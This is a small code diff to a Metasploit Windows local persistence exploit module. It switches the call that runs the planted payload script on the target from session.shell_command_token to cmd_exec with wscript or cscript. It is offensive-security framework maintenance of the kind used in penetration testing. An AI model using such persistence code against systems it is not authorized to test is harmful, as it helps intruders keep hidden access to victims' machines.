diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index 0cd6a3fe08..d719b37e3a 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -230,9 +230,9 @@ class Metasploit4 < Msf::Exploit::Local # Error handling for process.execute() can throw a RequestError in send_request. begin unless datastore['EXE::Custom'] - session.shell_command_token(script_on_target) + cmd_exec("wscript \"#{script_on_target}\"") else - session.shell_command_token("cscript \"#{script_on_target}\"") + cmd_exec("cscript \"#{script_on_target}\"") end rescue print_error("Failed to execute payload on target")